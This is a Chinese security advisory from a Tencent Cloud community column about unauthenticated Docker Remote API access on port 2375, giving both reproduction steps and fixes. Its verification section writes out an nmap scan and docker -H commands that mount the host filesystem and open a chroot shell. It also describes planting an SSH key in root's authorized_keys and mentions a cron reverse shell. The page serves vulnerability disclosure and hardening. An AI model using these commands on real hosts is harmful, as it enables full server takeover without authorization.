首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【漏洞修复】Docker remote api未授权访问复现和修复

【漏洞修复】Docker remote api未授权访问复现和修复

原创
作者头像
腾讯云-MSS服务
发布于 2020-11-09 03:11:49
发布于 2020-11-09 03:11:49
9.2K00
代码可运行
举报
文章被收录于专栏:安全加固安全加固
运行总次数:0
代码可运行

0x01漏洞描述

Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。Docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。

在使用docker swarm的时候,管理的docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,其实这是 Docker Remote API,可以执行docker命令,比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成,

0x02 漏洞危害

Docker daemon api是使用url代替命令行来操作docker,docker swarm 是docker下的集群管理工具,在开放2375端口来监听集群容器时,会调用这个api,可以执行docker命令,root权限启动docker情况下可直接可以控制服务器。

0x03 漏洞验证

1、nmap探测开放的docker

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nmap -p 2375 x.x.x.x 

2、使用-H参数连接目标主机的docker,使用ps命令查询目标系统运行的镜像。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker -H tcp://x.x.x.x:2375 ps

3、使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker -H tcp://1x.x.x.x:2375 run -it -v /:/mnt busybox chroot /mnt sh

4、在vps上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器

其他方式:利用定时任务反弹shell

0x04 修复建议

1、简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则;

2、修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Docker API未授权漏洞复现
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2021/08/05
3.7K0
Docker API未授权漏洞复现
漏洞复现 - - -Docker未授权访问漏洞
发现page not found(页面没有找到)代表json代表2375有存在漏洞
干掉芹菜
2022/11/19
2.9K1
漏洞复现 - - -Docker未授权访问漏洞
Docker API未授权命令执行
Docker Swarm是Docker的集群管理工具,它将Docker主机池转变为单个虚拟Docker主机,能够方便的进行docker集群的管理和扩展。Docker Swarm使用标准的Docker API通过2375端口来管理每个Docker节点,Docker API是一个取代远程命令行界面(RCLI)的REST API。当Docker节点的2375端口直接暴露并未做权限检查时,存在未授权访问漏洞,攻击者可以利用Docker API执行任何操作,包括执行Docker命令,创建、删除Docker以及获得宿主机权限等。
谢公子
2023/09/01
2K0
Docker API未授权命令执行
Docker容器漏洞研究与介绍总结
描述: 由于docker安装后是默认不允许远程访问的,所以很多小白可能就直接搜索网上的文章开启dcoker远程访问,然后照着操作。虽然这样可以远程访问了,但是直接暴露在公网上的2375端口是非常危险的,导致所有人都可以远程操作这台主机上的Docker。
全栈工程师修炼指南
2022/09/28
1.8K0
Docker容器漏洞研究与介绍总结
Docker Daemon API未授权
Docker Remote API是一个取代远程命令行界面(RCLI)的REST API,当该接口直接暴漏在外网环境中且未作权限检查时,攻击者可以通过恶意调用相关的API实现远程命令执行
Al1ex
2022/09/07
1.1K0
Docker Daemon API未授权
常见的未授权访问漏洞
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件
黑白天安全
2021/04/07
4.6K0
常见的未授权访问漏洞
常见未授权访问漏洞总结
在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。
Bypass
2020/07/28
3.3K0
常见未授权访问漏洞总结
K8s API Server未授权利用思路
k8s的Master节点上会暴露kube-apiserver,默认情况下会开启以下两个HTTP端口:
Al1ex
2024/05/08
1.4K0
K8s API Server未授权利用思路
WIKI | 未授权访问的tips
知识那么多,大佬们学慢点,我营养跟不上啦! 前人栽树后人乘凉,本文主要是把一些资料依葫芦画瓢学习了下,做了个汇总.
HACK学习
2019/08/06
4.2K0
WIKI | 未授权访问的tips
未授权访问漏洞总结
这篇文章主要收集一些常见的未授权访问漏洞。未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
LuckySec
2022/11/02
9.9K0
未授权访问漏洞总结
未授权访问漏洞总结
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
FB客服
2019/07/29
3.7K0
Docker API 未授权访问漏洞复现
该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。
LuckySec
2022/11/02
3.1K0
Docker API 未授权访问漏洞复现
浅析K8S各种未授权攻击方法
这篇文章可能出现一些图文截图颜色或者命令端口不一样的情况,原因是因为这篇文章是我重复尝试过好多次才写的,所以比如正常应该是访问6443,但是截图中是显示大端口比如60123这种,不影响阅读和文章逻辑,无需理会即可,另外k8s基础那一栏。。。本来想写一下k8s的鉴权,后来想了想,太长了,不便于我查笔记,还不如分开写,所以K8S基础那里属于凑数???写了懒得删(虽然是粘贴的:))
UzJu@菜菜狗
2023/10/20
1.1K0
浅析K8S各种未授权攻击方法
Docker暴露2375端口导致服务器被攻击解决方法!
相信了解过docker remote API的同学对2375端口都不陌生了,2375是docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作。
全栈程序员站长
2022/08/11
3.3K0
Docker暴露2375端口导致服务器被攻击解决方法!
红蓝对抗之Linux内网渗透
上篇内网渗透(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux内网渗透也有很多可玩性。
腾讯安全应急响应中心
2020/12/11
2K0
红蓝对抗之Linux内网渗透
浅析K8S各种未授权攻击方法
这篇文章可能出现一些图文截图颜色或者命令端口不一样的情况,原因是因为这篇文章是我重复尝试过好多次才写的,所以比如正常应该是访问6443,但是截图中是显示大端口比如60123这种,不影响阅读和文章逻辑,无需理会即可,另外k8s基础那一栏。。。本来想写一下k8s的鉴权,后来想了想,太长了,不便于我查笔记,还不如分开写,所以K8S基础那里属于凑数???写了懒得删(虽然是粘贴的:))
UzJu@菜菜狗
2022/05/11
6.3K0
浅析K8S各种未授权攻击方法
Docker暴露2375端口,引起安全漏洞
前几天有小伙伴发现Docker暴露出2375端口,引起了安全漏洞。我现在给大家介绍整个事情的来龙去脉,并告诉小伙伴们,怎么修复这个漏洞。
全栈程序员站长
2022/09/05
3.6K0
Docker暴露2375端口,引起安全漏洞
4.Docker学习之进阶使用
描述: 本章主要学习与记录了在进一步学习Docker容器中的一些基础名称解析与Docker与一些辅助软件配合使用来增加工作效率以及简化运维流程;
全栈工程师修炼指南
2022/09/28
1.6K0
4.Docker学习之进阶使用
Docker 2375端口漏洞 全网安全风险报告
Docker图标 Docker是一个开源的应用容器引擎,基于LXC的高级容器引擎,源代码托管在Github 上,基于go语言并遵从Apache2.0协议,开源让开发者可以打包他们的应用以及依赖包到一
安恒信息
2018/04/11
3.9K0
Docker 2375端口漏洞 全网安全风险报告
Docker API的使用
Docker作为最流行的容器化解决方案其API接口提供了强大的容器管理功能,通过Docker API我们可以实现自动化的容器lifecycle管理、数据管理、网络管理等,大大简化容器的使用难度,本篇文章我们主要介绍Docker API的基本使用
Al1ex
2023/12/22
9570
相关推荐
Docker API未授权漏洞复现
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档